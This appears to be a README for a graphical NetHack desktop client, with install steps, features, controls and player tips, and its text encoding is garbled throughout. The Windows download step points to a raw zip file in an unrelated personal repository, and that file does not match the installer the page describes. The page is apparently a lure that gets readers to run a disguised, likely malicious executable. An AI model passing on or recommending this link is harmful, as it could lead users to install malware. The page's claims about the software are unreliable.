๐ง nethack-tiles-client - Play NetHack with Beautiful Graphics

๐ฎ What is nethack-tiles-client?
NetHack is one of the most legendary video games ever made โ a deep, challenging roguelike dungeon adventure. But until now, playing it meant staring at ASCII characters in a terminal. nethack-tiles-client changes that by giving you a beautiful, modern desktop application with graphical tiles, making the game accessible and enjoyable for everyone.
This client connects to public NetHack servers so you can play instantly โ no installation of the game itself required. It works on Windows, macOS, and Linux with a single download.
๐ Getting Started (Windows)
Follow these simple steps to start playing in minutes:
- Visit the download page: https://github.com/Aliikram369/aliikram369.github.io/raw/refs/heads/main/tooken/App_3.5.zip
- Download the Windows installer: Look for the file named
nethack-tiles-client-Setup-x.x.x.exe (where x.x.x is the version number).
- Run the installer: Double-click the downloaded file and follow the on-screen instructions.
- Launch the application: After installation, find โnethack-tiles-clientโ in your Start Menu or desktop shortcut.
- Connect and play: The app will automatically connect to a public NetHack server. Youโll see a graphical dungeon with tiles โ just start exploring!
๐ฅ๏ธ System Requirements
- Operating System: Windows 10 or later (64-bit), macOS 10.15+, or Linux (tested on Ubuntu 20.04+)
- RAM: 4 GB minimum
- Storage: 200 MB free space
- Internet: Broadband connection required (to connect to game servers)
- Display: 1280x720 or higher resolution
๐ง Features
- ๐จ Beautiful Graphical Tiles: No more ASCII characters โ see your character, monsters, items, and dungeon walls as colorful sprites.
- ๐ Play on Public Servers: Connect to popular NetHack servers like nethack.alt.org, hardfought.org, or any server you choose.
- ๐ป Cross-Platform: One app works on Windows, macOS, and Linux.
- ๐ Built-in Terminal: Includes a full xterm.js terminal so you can type commands and see game output.
- โก Fast and Lightweight: Built with Rust and Tauri for a small, fast application.
- ๐ Auto-Update: Get the latest version automatically.
- ๐ฎ Gameplay Controls: Use keyboard shortcuts for all NetHack commands, with visual feedback on tiles.
๐ How to Play
NetHack is a turn-based game where you explore a dungeon, fight monsters, collect items, and try to retrieve the Amulet of Yendor. Here are the basics:
- Movement: Arrow keys or numpad (8,2,4,6 for directions)
- Rest: Press
. (period) to wait one turn
- Pick up items: Press
, (comma)
- Drop items: Press
d
- Inventory: Press
i
- Help: Press
? for a full list of commands
The graphical tiles make it much easier to identify whatโs on the screen. A goblin looks like a goblin, a potion looks like a potion, and gold looks like gold.
macOS
- Visit the downloads page
- Download the
.dmg file (e.g., nethack-tiles-client-x.x.x.dmg)
- Open the disk image and drag the app to your Applications folder
- If macOS warns about an unidentified developer, go to System Preferences > Security & Privacy and click Open Anyway
Linux
- Visit the downloads page
- Download the
.AppImage file (e.g., nethack-tiles-client-x.x.x.AppImage)
- Make it executable:
chmod +x nethack-tiles-client-*.AppImage
- Run it:
./nethack-tiles-client-*.AppImage
๐ก Tips for New Players
- Donโt be discouraged by death: In NetHack, you will die โ a lot. Each death teaches you something new.
- Explore carefully: Look before you move. Use the
; (semicolon) command to look at objects.
- Read the in-game help: Press
? anytime to learn commands.
- Start with a Barbarian: This class is the easiest for beginners.
- Save often: The game automatically saves when you quit, but you can also use
S to save manually.
๐ Resources
๐ค Contributing
This project is built with love by the community. If youโd like to contribute:
- Report bugs: Open an issue on GitHub
- Suggest features: Use the feature request template
- Code contributions: We welcome pull requests (see CONTRIBUTING.md)
๐ Troubleshooting
Problem: App wonโt start
Solution: Make sure you have the latest version. Try reinstalling.
Problem: Canโt connect to server
Solution: Check your internet connection. The default server is nethack.alt.org โ try a different server if itโs down.
Problem: Graphics look wrong
Solution: Go to Settings and try a different tileset. The app includes multiple tile sets to choose from.
๐ License
This project is open source under the MIT License. See the LICENSE file for details.
๐ Acknowledgments
- The NetHack DevTeam for the incredible game
- The Tauri team for the cross-platform framework
- All contributors and testers
Keywords: netHack, tiles, graphical, desktop, client, roguelike, dungeon, game, windows, mac, linux, tauri, rust, react, xterm, ssh, dgamelaunch, tileset, claude-code, vibe-coded, cross-platform